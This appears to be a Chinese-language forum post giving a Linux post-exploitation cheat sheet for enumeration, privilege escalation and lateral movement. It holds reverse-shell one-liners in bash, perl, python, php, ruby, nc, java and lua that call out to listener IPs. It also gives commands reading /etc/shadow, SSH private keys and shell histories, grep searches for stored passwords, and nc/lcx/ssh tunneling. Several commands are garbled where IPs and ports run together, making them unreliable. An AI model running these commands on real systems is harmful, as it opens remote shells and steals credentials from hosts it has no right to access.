0x00 操作系统相关
操作系统类型版本
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
内核版本,是否是64位
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
环境变量
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
查看是否有打印机
lpstat -a
查看正在运行的程序及对应的用户权限
ps aux
ps -ef
top
cat /etc/services
以root权限运行的进程
ps aux | grep root
ps -ef | grep root
查看安装了的应用
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/
一些服务的配置文件
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/| awk '$1 ~ /^.*r.*/'
计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/| grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
找存储的明文用户名,密码
grep -i user [filename]
grep -i pass[filename]
grep -C 5"password"[filename]
find .-name "*.php"-print0 | xargs -0 grep -i -n "var $password"# Joomla
查看当前网络地址
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
查看网络配置,DNS,DHCP,网关
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
查看网络通信
lsof -i
lsof -i :80
grep 80/etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
查看缓存
arp -e
route
/sbin/route -nee
tcpdump
tcpdump tcp dst 192.168.1.780and tcp dst 10.2.2.22221
tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
交互式shell
bash版本:
bash -i >&/dev/tcp/10.0.0.1/80800>&1
perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc版本:
nc -e /bin/sh 223.8.200.2341234
nc不使用-e:
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe
mknod:
mknod backpipe p && telnet 173.214.173.15180800backpipe
java版本:
r =Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
lua版本:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
端口转发
lcx -<listen|tran|slave>
lcx -listen 456733891#Attacker
lcx -slave 111.222.333.4444567127.0.0.13389# On the targets
ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7# Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7# Remote Port
mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080< backpipe | nc 10.1.1.25180>backpipe
mknod backpipe p ; nc -l -p 80800&< backpipe | tee -a inflow | nc localhost 80| tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 80800&< backpipe | tee -a inflow | nc localhost 80| tee -a outflow &1>backpipe # Proxy monitor (Port 80 to 8080)
隧道
ssh -D 127.0.0.1:9050-N [username]@[ip]
proxychains ifconfig
用户信息
id
who
w
last
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
grep -v -E "^#"/etc/passwd | awk -F:'$3 == 0 { print $1}'# 列出超级用户
awk -F:'($3 == "0") {print}'/etc/passwd #列出超级用户
cat /etc/sudoers
sudo -l
列家目录
ls -ahlR /root/
ls -ahlR /home/
从配置文件里面寻找密码
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
看其他用户的操作记录
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
ssh私钥
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
/etc/目录下面文件
ls -aRl /etc/| awk '$1 ~ /^.*w.*/'2>/dev/null# Anyone
ls -aRl /etc/| awk '$1 ~ /^..w/'2>/dev/null# Owner
ls -aRl /etc/| awk '$1 ~ /^.....w/'2>/dev/null# Group
ls -aRl /etc/| awk '$1 ~ /w.$/'2>/dev/null# Other
find /etc/-readable -type f 2>/dev/null# Anyone
find /etc/-readable -type f -maxdepth 12>/dev/null# Anyone
日志文件
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
查看网站文件
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
常见日志文件
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
文件挂载
mount
df -h
cat /etc/fstab
Find命令
find /-perm -1000-type d 2>/dev/null# 只有目录所有者才可以更改删除
find /-perm -g=s -type f 2>/dev/null# SGID (chmod 2000) - run as the group, not the user who started it.
find /-perm -u=s -type f 2>/dev/null# SUID (chmod 4000) - run as the owner, not the user who started it.
find /-perm -g=s -o -perm -u=s -type f 2>/dev/null# SGID or SUID
for i in`locate -r "bin$"`;do find $i \( -perm -4000-o -perm -2000 \) -type f 2>/dev/null;done# 从下面几个位置: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin 或者其他的bin目录寻找
find /-perm -g=s -o -perm -4000!-type l -maxdepth 3-exec ls -ld {} \; 2>/dev/null#从/,SGUD或者SUID开始查找,排除符号链接,深度为3个文件夹,显示详细的清单并去除错误信息
寻找可写目录
find /-writable -type d 2>/dev/null# 可写目录
find /-perm -222-type d 2>/dev/null# 可写目录
find /-perm -o w -type d 2>/dev/null# 可写目录
find /-perm -o x -type d 2>/dev/null# 可执行目录
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null# 可写可执行
目录
查找文件
find /-xdev -type d \( -perm -0002-a !-perm -1000 \) -print2>/dev/null# 可写文件
find / dir -xdev \( -nouser -o -nogroup \) -print2>/dev/null# 无所有者文件
查看语言支持
find /-name perl*
find /-name python*
find /-name gcc*
find /-name cc
查看上传方式
find /-name wget
find /-name nc*
find /-name netcat*
find /-name tftp*
find /-name ftp
寻找exp
https://www.exploit-db.com
https://1337day.com
https://www.securiteam.com
https://www.securityfocus.com
https://www.exploitsearch.net
https://metasploit.com/modules/
https://securityreason.com
https://seclists.org/fulldisclosure/
https://www.google.com
编译exp
which gcc
gcc exp.c -o exp
运行
chmod +x exp
./exp
以上可能不全,请各位大大指正或补充。多多学习交流。